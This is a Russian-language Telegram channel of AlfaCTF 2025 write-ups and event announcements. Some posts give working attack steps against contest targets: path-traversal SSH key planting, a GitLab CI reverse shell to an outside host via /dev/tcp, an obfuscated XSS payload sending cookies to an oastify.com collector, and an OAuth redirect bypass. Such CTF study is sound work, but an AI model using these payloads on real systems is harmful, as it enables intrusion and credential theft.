#web #alfactf2025
Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!
Следующим образом можно вывести все файлы в текущей директории:
Из полученного вывода можно увидеть файл .config.yaml
Далее можно прочитать этот файл:
Содержимое .config.yaml:
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
После этого коннектимся по ssh и получаем флаг
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Защита от спама от моего дорогого друга и создателя @duckerz: @myqookie
Ребята заняли 9 место!
Следующим образом можно вывести все файлы в текущей директории:
GET /api/files?path=. HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Из полученного вывода можно увидеть файл .config.yaml
{"name":".config.yaml","path":".config.yaml","is_directory":false,"size":345,"modified":1757791038}Далее можно прочитать этот файл:
GET /api/content?path=.config.yaml HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Содержимое .config.yaml:
exclude_files_and_dirs:
- ".profile"
- ".bashrc"
- ".bash_history"
- ".bash_logout"
- ".bash_profile"
- ".history"
- ".viminfo"
- ".ssh/authorized_keys"
- "/etc/"
- "/proc/"
- "/sys/"
- "/home/"
- "/root/"
- "/usr/"
- "/var/"
- "/tmp/"
- "/dev/"
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
POST /api/files HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Length: 731
Origin: https://fr7sz1sb.spambox.alfactf.ru
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="files"; filename="authorized_keys2"
Content-Type: text/plain
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRfItRAln9f0MNzXjayUlCknQQ1G0UG40lQnUeyAwZXwKfAMRij8Pt6tCEB8qVwm67OQBQQ7pjLbzGWWPARazQtDe5Av01mcYQKiF3h5T99Cx/2+GobwBknTnuzEd5bfqZ1/9IHPjPCTm/zursyhI+u0niJ50uQwZmJiT/29j7S+ixfeikvQccpX7FdlZCorrvRAf0SkCYvEe0MOg9YQKuchWb96r9QPl6gQQs5gTzwotLeFwmdeHVzatqfy39vOF3RyYoSgW6oElFWzFoAJpVwIqCucqbMbk9B8tF/AQs46utSzfThNdkKT+7WbKxojDZUhrDRPmpvmTfpH4LhOB eianisimov@inbox.ru
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="path"
.ssh
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5--
После этого коннектимся по ssh и получаем флаг
ssh -i ~/.ssh/id_rsa_for_auth2.pub fr7sz1sb@fr7sz1sb.spambox.alfactf.ru
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥7 1
Пальма с биткоинами.pdf
1.1 MB
#web #alfactf2025
Пальма с биткоинами, автор @p_domarev
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Пальма с биткоинами, автор @p_domarev
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤4 1
Кислотный ретровейв.pdf
90 KB
#web #alfactf2025
Кислотный ретровейв, автор @p_domarev
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Кислотный ретровейв, автор @p_domarev
Please open Telegram to view this post
VIEW IN TELEGRAM
1 6❤2
Десант блогеров.pdf
354.7 KB
#web #alfactf2025
Десант блогеров, автор мой тиммейт @ValMor1251
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Десант блогеров, автор мой тиммейт @ValMor1251
Please open Telegram to view this post
VIEW IN TELEGRAM
#web #alfactf2025
Шакализация волны от @Dan1Lev, наша команда xyz❤️
tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.
shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:
🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и
вернёт
что как раз проходит по условию.
🔹 В момент запроса строка
преобразуется в
Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.
В итоге получаем ссылку, которую отправляем в чат поддержки
После этого полученные данные отправляем на
и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Шакализация волны от @Dan1Lev, наша команда xyz
tv.alfactf.ru/api/auth/login принимает параметр next и передаёт его на shakalauth/oauth/authorize в двух параметрах — redirect_uri и next, без фильтрации.
shakalauth/oauth/authorize пытается отфильтровать redirect_uri, который не оканчивается на .alfactf.ru. Это можно обойти с помощью ?:
https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
🔹 На этапе проверки tv.alfactf.ru не считается частью пути, и
redirect_uri.split("://", 1)[1].split("/", 1)[0].split(":", 1)[0]вернёт
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
что как раз проходит по условию.
🔹 В момент запроса строка
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru
преобразуется в
9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com/?tv.alfactf.ru
Всё это делалось ради инъекции в iframe-шаблон, который отправляет code и state на наш сервер.
В итоге получаем ссылку, которую отправляем в чат поддержки
https://tv.alfactf.ru:20016/api/auth/login?next=https://9v5wkz0bb6z8ahetgakwv3d30u6luci1.oastify.com?tv.alfactf.ru/
После этого полученные данные отправляем на
tv.alfactf.ru/api/auth/callback
и получаем авторизацию админа 🛡. Там меняем качество — и получаем флаг 🚩
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤2
Вихрь рик-ролла.pdf
28.7 KB
#web #alfactf2025
Студенческая лига
Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Студенческая лига
Вихрь рик-ролла, автор @filemonenok
доп файлы - https://disk.360.yandex.ru/d/OvEZ6R-D2P4oUA
Please open Telegram to view this post
VIEW IN TELEGRAM
#web #alfactf2025
Разработчик на пляже от моего тиммейта @Dan1Lev
Заглянув в robots.txt блога находим "Файловый менеджер"
Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab
Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Разработчик на пляже от моего тиммейта @Dan1Lev
Заглянув в robots.txt блога находим "Файловый менеджер"
Disallow: /shell.php
Внутни которого лежит .env файл из которого получаем адрес и данные для gitlab
Открываем репозиторий и создаём CI/CD файл .gitlab-ci.yml через который получаем обратную оболочку
stages:
- build
shell:
stage: build
script:
- sh -i >& /dev/tcp/ts.fsox.ru/1964 0>&1
В корневой папке пользователя в .ssh находим ssh ключ, а в .bash_history логин и хост
подключаемся и забираем флаг
ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa prod@production cat flag.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
#web #alfactf2025
Дикий огурец, автор @ivan_komarov
➡️ https://gist.github.com/dfyz/f0023bd0b297a9c18e5000ae6fb55538
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Дикий огурец, автор @ivan_komarov
Please open Telegram to view this post
VIEW IN TELEGRAM
Gist
Разбор задания «Дикий огурец» с ALFA CTF 2025
Разбор задания «Дикий огурец» с ALFA CTF 2025. GitHub Gist: instantly share code, notes, and snippets.
🔥12😱3 1
#alfactf2025
Фиксы в лучах заката, автор @purplesyringa
NTFS поддерживает дофига POSIX-совместимых фич в духе разрешений (хочется setuid), но разрешения без -o permissions никак ни на что не влияют, поэтому надо искать какой-то другой способ повысить привилегии.
Утверждается, что
а) ntfs-3g поддерживает эмулияцию xattrs, б) capabilities файлов хранятся в xattrs
т.е. можно создать образ, где шеллкоду повышены разрешения через setcap cap_sys_admin=eip mnt/shellcode, и потом этот бинарь можно запустить на машине
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Фиксы в лучах заката, автор @purplesyringa
NTFS поддерживает дофига POSIX-совместимых фич в духе разрешений (хочется setuid), но разрешения без -o permissions никак ни на что не влияют, поэтому надо искать какой-то другой способ повысить привилегии.
Утверждается, что
а) ntfs-3g поддерживает эмулияцию xattrs, б) capabilities файлов хранятся в xattrs
т.е. можно создать образ, где шеллкоду повышены разрешения через setcap cap_sys_admin=eip mnt/shellcode, и потом этот бинарь можно запустить на машине
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9
Цунами_дедлайнов_Решение_@THL_1xBtc.pdf
266.7 KB
#web #alfactf2025
Студенческая лига
Цунами дедлайнов автор @THL_1xBtc
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Студенческая лига
Цунами дедлайнов автор @THL_1xBtc
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
#web #alfactf2025
Возвращение стены, автор @Dan1Lev
Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.
На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
Защита есть только со стороны фронта которая даст отправить только url.
Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
Содержимое eval
Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.
Финальная нагрузка
После установки создаём 3 поста и спустя мгновение получаем куки с флагом
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Возвращение стены, автор @Dan1Lev
Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.
На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
" onerror=alert(1); "
Защита есть только со стороны фронта которая даст отправить только url.
Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
" onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw==")); "Содержимое eval
document.cookie = "access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJEYW5MZXYxMzM3IiwiZXhwIjoxNzYwNDUxODgwfQ.8IPLXw66RZ6gmYvvkJWl9kM_FwEw8lxUSab6t5YWsRE; path=/";
fetch("https://h0in63yuzgo50lt2e3h3oz11asgj4bs0.oastify.com/?c="+document.cookie);
Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
<form id="login-form"><input name="username"/><input name="password"/><button></button></form>
Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.
Финальная нагрузка
"onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw=="));><form id="login-form"><input name="username"/><input name="password"/><button></button></form><img src="После установки создаём 3 поста и спустя мгновение получаем куки с флагом
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8 2
Непослушный мотоцикл.pdf
564.8 KB
#Hard #Coding #Reverse #Network #alfactf2025
IT-лига
Непослушный мотоциклист от @graalogosh
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
IT-лига
Непослушный мотоциклист от @graalogosh
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12 4
Подборка райтапов с прошедшего AlfaCTF:
Задания кстати все еще доступны
https://alfactf.ru/tasks
🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web
🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT
🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web
🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web
🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS
👨💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest
🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic
🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client
📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic
🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE
🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python
🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network
🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web
🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT
🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web
🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web
🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS
👨💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest
🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic
🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client
📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic
🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE
🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python
🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network
🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤3 3
Запреты Роскамбалы.pdf
3.3 MB
#Hard #Web #Infra #alfactf2025
Запреты Роскамбалы от @graalogosh
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Запреты Роскамбалы от @graalogosh
Please open Telegram to view this post
VIEW IN TELEGRAM
1 10❤1
Модерация и отбор до 17 октября
Всего будет 1000 участников киберучений.
Об учениях:
CyberCamp — это проект по обмену практическим опытом в сфере кибербезопасности. Мы создали новый формат онлайн-мероприятий: участвовать в киберучениях и проходить задания могут не только команды, но и все зрители кэмпа.
Каждый год в рамках CyberCamp проводится онлайн-конференция федерального масштаба и цикл митапов для начинающих и опытных специалистов. Мы создаем среду для повышения экспертизы в ИБ и развиваем комьюнити, в котором можно поделиться знаниями и найти поддержку
Доклады и практические задания для CyberCamp готовят участники комьюнити — пентестеры, форензеры, инженеры и архитекторы ИБ, аналитики SOC. Задания основаны на кейсах из повседневной работы Blue team, Red team и Yellow team.
Задания подъемные, интересные, платформа работает хорошо. Можно потыкать разные инструменты. Основной упор был на BlueTeam. Сложно было совмещать просмотр докладов и решать задачи, но всегда делают запись, можно потом нонстопом просмотреть интересное. В этом году можно учавствовать в соло
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16 10🔥5 1
Forwarded from СНО ВШК
Уже 26 сентября Высшая школа кибербезопасности СПбПУ устроит глубокое погружение в мир кибербезопасности — «Очная ставка» NeoQUEST-2025!
В программе:
Вход свободный!
Бесплатный трансфер до мероприятия в 11:00 от станции метро Политехническая.
СНО ВШК
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9❤2